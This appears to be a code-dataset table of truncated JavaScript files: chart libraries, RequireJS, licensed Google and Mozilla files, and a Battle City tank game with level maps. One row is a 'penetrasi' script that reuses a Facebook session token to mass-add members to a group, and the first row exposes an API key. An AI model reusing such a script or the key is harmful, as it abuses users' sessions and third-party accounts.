code stringlengths 1 2.08M | language stringclasses 1
value |
|---|---|
var APIKey = "DxN1BjoFMCVcKrewTTKBP";
var APIDomain = "https://ivle.nus.edu.sg/";
var APIUrl = APIDomain + "api/lapi.svc/";
var LoginURL = APIDomain + "api/login/?apikey=" + APIKey + "&url=http%3A%2F%2Flocalhost%2Fadaptive_system%2Findex.html";
var userId = "";
// for style
var colorArrayPanel =... | JavaScript |
/* Flot plugin for automatically redrawing plots as the placeholder resizes.
Copyright (c) 2007-2013 IOLA and Ole Laursen.
Licensed under the MIT license.
It works by listening for changes on the placeholder div (through the jQuery
resize event plugin) - if the size changes, it will redraw the plot.
There are no opt... | JavaScript |
/*
Flot plugin for rendering pie charts. The plugin assumes the data is
coming is as a single data value for each series, and each of those
values is a positive value or zero (negative numbers don't make
any sense and will cause strange effects). The data values do
NOT need to be passed in as percentage values beca... | JavaScript |
// Flot Charts sample data for SB Admin template
// Flot Line Chart with Tooltips
$(document).ready(function() {
console.log("document ready");
var offset = 0;
plot();
function plot() {
var sin = [],
cos = [];
for (var i = 0; i < 12; i += 0.2) {
sin.push([i, Mat... | JavaScript |
/*! Javascript plotting library for jQuery, v. 0.7.
*
* Released under the MIT license by IOLA, December 2007.
*
*/
// first an inline dependency, jquery.colorhelpers.js, we inline it here
// for convenience
/* Plugin for jQuery for working with colors.
*
* Version 1.1.
*
* Inspiration from jQuery color ani... | JavaScript |
// Morris.js Charts sample data for SB Admin template
$(function() {
// Donut Chart
Morris.Donut({
element: 'morris-chart',
data: [{
label: "Download Sales",
value: 12
}, {
label: "In-Store Sales",
value: 30
}, {
label... | JavaScript |
/* @license
morris.js v0.5.0
Copyright 2014 Olly Smith All rights reserved.
Licensed under the BSD-2-Clause License.
*/
(function() {
var $, Morris, minutesSpecHelper, secondsSpecHelper,
__slice = [].slice,
__bind = function(fn, me){ return function(){ return fn.apply(me, arguments); }; },
__hasProp = {... | JavaScript |
/**
* @license r.js 2.0.2 Copyright (c) 2010-2012, The Dojo Foundation All Rights Reserved.
* Available via the MIT or new BSD license.
* see: http://github.com/jrburke/requirejs for details
*/
/*
* This is a bootstrap script to allow running RequireJS in the command line
* in either a Java/Rhino or Node environ... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to i... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to i... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
/*
Copyright 2012 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | JavaScript |
({
appDir: 'static',
baseUrl: 'js',
dir: 'static-min',
paths: {jquery: 'empty:'},
modules: [
{name: 'main'},
{name: 'admin-main'}
]
}) | JavaScript |
var tulisanNganu = '<font color="black"><b>Adding</b> </font>';
var kunaon = '';
function penetrasi(opo) {
jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fbdtsg + "&group_id=" + memberGroupId + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/*
* Copyright 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to ... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/*
* Copyright (c) 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in ... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/*
* Copyright (c) 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in ... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/*
* Copyright (c) 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in ... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | JavaScript |
/*
* Copyright (c) 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in ... | JavaScript |
function isClient() {
return true;
};
function BcClient(href) {
this.user = new User(); // do not replace
this.botSource = null;
this.socket = io.connect(href, {
'auto connect' : false,
'reconnect' : false // todo learn reconnection abilities
});
this.users = new TList();
t... | JavaScript |
// can use bcClient.socket
function BcUi(bcClient)
{
this.bcClient = bcClient;
this.codeMirror = null;
this.initHandlers();
this.users = new UiUserList(
bcClient.users,
$('#public .user-list'), 'user');
this.premades = new UiPremadeList(
bcClient.premades,
... | JavaScript |
function UiList(list, container, itemClass)
{
if (arguments.length) {
this.container = container;
this.itemClass = itemClass;
list.on('add', this.onAdd.bind(this));
list.on('change', this.onChange.bind(this));
list.on('remove', this.onRemove.bind(this));
}
};
UiList.pro... | JavaScript |
function FieldView(field)
{
this.field = field;
this.context = document.getElementById('field').getContext('2d');
this.context.font ="bold 25px Arial";
this.step = 1;
var self = this;
field.on('remove', function(object){
if (object instanceof Bullet) {
var anim = new BulletH... | JavaScript |
function UserPoint(premadeUsers)
{
premadeUsers.on('add', this.onChange.bind(this));
premadeUsers.on('change', this.onChange.bind(this));
premadeUsers.on('remove', this.onRemove.bind(this));
};
UserPoint.prototype.onChange = function(user)
{
// todo hack
var pos = user.positionId + (user.clan == 2... | JavaScript |
isArray = Array.isArray;
ServerUser = function ServerUser()
{
User.call(this, arguments);
this.collections = {};
this.updateCollector = {};
this.messages = 0;
this.countMessageFrom = Date.now();
};
ServerUser.maxMessages = 10; // per minute
ServerUser._eventTypeMap = {'add': 'a', 'change': 'c', '... | JavaScript |
TMessageList = function TMessageList()
{
TList.apply(this, arguments);
};
TMessageList.prototype = new TList();
TMessageList.prototype.constructor = TMessageList;
TMessageList.prototype.say = function(message)
{
this.add(message);
for (var i in this.items) {
if (this.items[i].time + 5 * 60 * 1000... | JavaScript |
TPremadeList = function TPremadeList()
{
TList.apply(this, arguments);
};
TPremadeList.prototype = new TList();
TPremadeList.prototype.constructor = TPremadeList;
TPremadeList.prototype.join = function(event, user)
{
var gameName = event.name && event.name.substr(0,20);
if (!user.premade) {
var p... | JavaScript |
BotEmitter = function BotEmitter(x, y)
{
this.x = x;
this.y = y;
};
| JavaScript |
(function(){
window.images = {};
var sprites = [
'img/tank1-down-s1.png'
, 'img/tank1-down-s2.png'
, 'img/tank1-up-s1.png'
, 'img/tank1-up-s2.png'
, 'img/tank1-right-s1.png'
, 'img/tank1-right-s2.png'
, 'img/tank1-left-s1.png'
, 'img/tank1-left-s2.png'
, ... | JavaScript |
/**
* drawable
* coordinates
*/
Bonus = function Bonus(x, y)
{
AbstractGameObject.call(this, 16, 16);
this.x = x;
this.y = y;
this.z = 2;
};
Bonus.prototype = new AbstractGameObject();
Bonus.prototype.constructor = Bonus;
Eventable(Bonus.prototype);
Bonus.prototype.serialize = function()
{
re... | JavaScript |
AbstractGameObject = function AbstractGameObject(hw, hh)
{
// for intersection (when speedX > hw)
this.hw = this.boundX = hw;
//for intersection (when speedY > hh)
this.hh = this.boundY = hh;
this.speedX; // set only through setSpeedX()
this.speedY; // set only through setSpeedY()
this.img = [];... | JavaScript |
Delimiter = function Delimiter(x, y, hw, hh)
{
AbstractGameObject.call(this, hw, hh);
this.x = x;
this.y = y;
this.z = 1;
this.hw = hw; // half width
this.hh = hh; // half height
this.img[0] = 'img/black.png';
};
Delimiter.prototype = new AbstractGameObject();
Delimiter.prototype.construct... | JavaScript |
/**
* drawable
* coordinates
*/
Water = function Water(x, y)
{
AbstractGameObject.call(this, 8, 8);
this.x = x;
this.y = y;
this.z = 1;
this.img[0] = 'img/water1.png';
};
Water.prototype = new AbstractGameObject();
Water.prototype.constructor = Water;
Eventable(Water.prototype);
Water.prototy... | JavaScript |
/**
* drawable
* coordinates
*/
Bullet = function Bullet(speedX, speedY)
{
AbstractGameObject.call(this, 4, 4);
this.x = 0;
this.y = 0;
this.z = 1;
// bullet is rectangle step of bullet
this.setSpeedX(speedX);
this.setSpeedY(speedY);
this.finalX = 0; // for proper hit animation (todo... | JavaScript |
/**
* drawable
* coordinates
*/
Tank = function Tank(x, y)
{
AbstractGameObject.call(this, 16, 16);
this.initialPosition = {
x: x,
y: y
};
this.x = x;
this.y = y;
this.z = 1;
this.moveOn = 0;
this.setSpeedX(0);
this.setSpeedY(-this.speed);
this.setDirectionIma... | JavaScript |
/**
* drawable
* coordinates
*/
Trees = function Trees(x, y)
{
AbstractGameObject.call(this, 8, 8);
this.x = x;
this.y = y;
this.z = 2;
this.img[0] = 'img/trees.png';
};
Trees.prototype = new AbstractGameObject();
Trees.prototype.constructor = Trees;
Eventable(Trees.prototype);
Trees.prototyp... | JavaScript |
Base = function Base(x, y)
{
AbstractGameObject.call(this, 16, 16);
this.x = x;
this.y = y;
this.img[0] = 'img/base.png';
this.shootDown = false;
this.shootDownTimer = Base.shootDownTimer;
};
Base.shootDownTimer = 2 * 1000/30; // 30ms step
Base.prototype = new AbstractGameObject();
Base.proto... | JavaScript |
OnFieldAnimation = function OnFieldAnimation(step, hw, hh)
{
AbstractGameObject.call(this, hw, hh);
this.firstStep = step;
};
OnFieldAnimation.prototype = new AbstractGameObject();
OnFieldAnimation.prototype.constructor = OnFieldAnimation;
BulletHitAnimation = function BulletHitAnimation(step, x, y)
{
On... | JavaScript |
TankBot = function TankBot(x, y, bonus)
{
Tank.apply(this, arguments); // call parent constructor
this.setSpeedY(this.speed);
this.moveOn = true;
this.bonus = bonus;
this.clan = null;
this.armoredTimer = 0;
this.fireTimer = 0; // do not fire too fast
};
TankBot.prototype = new Tank();
Tank... | JavaScript |
/**
* drawable
* coordinates
*/
Wall = function Wall(x, y, hw, hh)
{
AbstractGameObject.call(this, hw ? hw : 4, hh ? hh : 4);
this.x = x;
this.y = y;
this.z = 1;
this.img[0] = 'img/brick-wall.png';
};
Wall.prototype = new AbstractGameObject();
Wall.prototype.constructor = Wall;
Eventable(Wall.... | JavaScript |
/**
* drawable
* coordinates
*/
Ice = function Ice(x, y)
{
AbstractGameObject.call(this, 8, 8);
this.x = x;
this.y = y;
this.z = 0;
this.img[0] = 'img/ice.png';
};
Ice.prototype = new AbstractGameObject();
Ice.prototype.constructor = Ice;
Eventable(Ice.prototype);
Ice.prototype.serialize = fu... | JavaScript |
TankController = function TankController(tank)
{
this.tank = tank;
this.keys = new Array();
var controller = this;
$(window.document).keydown(function(e){controller.controlEvent(e);});
$(window.document).keyup (function(e){controller.controlEvent(e);});
};
TankController.prototype.controlEvent = f... | JavaScript |
Clan = function Clan(n, defaultArmoredTimer)
{
this.capacity = 2; // max users
this.n = n;
this.defaultArmoredTimer = defaultArmoredTimer;
this.timer = 0;
this.enemiesClan = null;
this.users = [];
this.base = new Base();
this.base.clan = this;
this.tankPositions = Clan.tankPositions... | JavaScript |
Field = function Field(width, height)
{
this.width = width;
this.height = height;
this.objects = null;
this.clear();
this.setMaxListeners(100); // @todo
};
Eventable(Field.prototype);
Field.autoIncrement = 1; // todo eliminate?
Field.prototype.clear = function()
{
this.objects = n... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
module.exports.map = [
[0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,3,3,0,0,0,0],
[0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,2,2,3,3,0,0,0,0],
[1,1,0,0,0,0,0,0,0,0,0,0,0,0,3,3,0,2,2,2,2,0,0,0,1,1],
[1,1,0,0,0,0,0,0,0,0,0,0,2,2,3,3,0,2,2,2,2,0,0,0,1,1],
... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
module.exports.map = [
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,2,2,3,3,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,2,2,3,3,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
// 5 - ice
module.exports.map = [
[0,0,0,0,2,2,0,0,1,1,2,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0],
[0,0,0,0,2,2,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0],
[0,0,0,0,1,1,0,0,1,1,3,3,0,0,1,1,1,1,1,1,1,1,0,0,0,0],
[0,0,0,0,1,1,0,0,1,1,3,3,0,0,0,0,1,1,1,1,1,1,0,0... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
// 5 - ice
module.exports.map = [
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
// 5 - ice
module.exports.map = [
[0,0,0,0,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,4,4,3,3,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0],
[2,2,0,0,0,0,4,4,3,3,0,0,1,0,0,0,0,0,0,0,0,0,0,0... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
module.exports.map = [
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0],
[0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0],
[0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0],
... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
module.exports.map = [
[0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,2,2,2,2,2,2,0,0,0,0],
[2,2,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,2,2,0,0,0,0],
... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
module.exports.map = [
[0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,3,3,3,3,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,3,3,3,3,0,0,0,0,0,0],
[0,0,1,0,0,2,0,0,1,0,0,0,0,0,0,0,0,1,3,3,1,0,0,1,3,3],
[0,0,1,0,0,2,0,0,1,0,0,0,0,0,0,0,0,1,3,3,1,0,0,1,3,3],
... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
// 5 - ice
module.exports.map = [
[0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[1,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0],
[1,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
// 5 - ice
module.exports.map = [
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,2,2,2,2,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,2,2,2,2,0,0,0,0,0,0,0,0,0,0... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
// 5 - ice
module.exports.map = [
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,2,2,0,0... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
module.exports.map = [
[0,0,3,3,3,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,3,0,0],
[0,0,3,3,3,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,3,0,0],
[3,3,3,3,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,3,3],
[3,3,3,3,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,3,3],
... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
module.exports.map = [
[0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0],
[0,0,3,3,3,3,3,3,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,3,3,3,3,3,3,1,1,0,0,0,0,0,0,0,0,0,0,2,2,2,2,2,2],
[1,1,3,3,3,3,... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
// 5 - ice
module.exports.map = [
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,2,2,0,0,0,0,0,0,2,2,0,0... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
// 5 - ice
module.exports.map = [
[0,0,0,0,0,0,4,4,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0],
[0,0,0,0,0,0,4,4,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,2,2,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,2,2,0,0... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
// 5 - ice
module.exports.map = [
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0],
[0,0,1,1,4,4,4,4,0,0,2,2,0,0,1,1,0,0,0,0,0,0,0,0,0,0],
[0,0,1,1,4,4,4,4,0,0,2,2,0,0,1,1,0,0,0,0,0,0,0,0... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
module.exports.map = [
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,2,2,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,2,2,2,2,2,2,2,2,0,0,0,0,0,0,0,0,2,2,0,0,0,0],
[0,0,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,0,0,0,0],
... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
// 5 - ice
module.exports.map = [
[0,0,0,0,0,0,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[2,2,2,2,0,0,0,0,2,2,0,0,0,0,2,2,2,2,0,0,0,0,0,0,0,0],
[2,2,2,2,0,0,0,0,2,2,0,0,0,0,2,2,2,2,0,0,0,0,0,0... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
// 5 - ice
module.exports.map = [
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
module.exports.map = [
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0],
[0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0],
[0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0],
... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
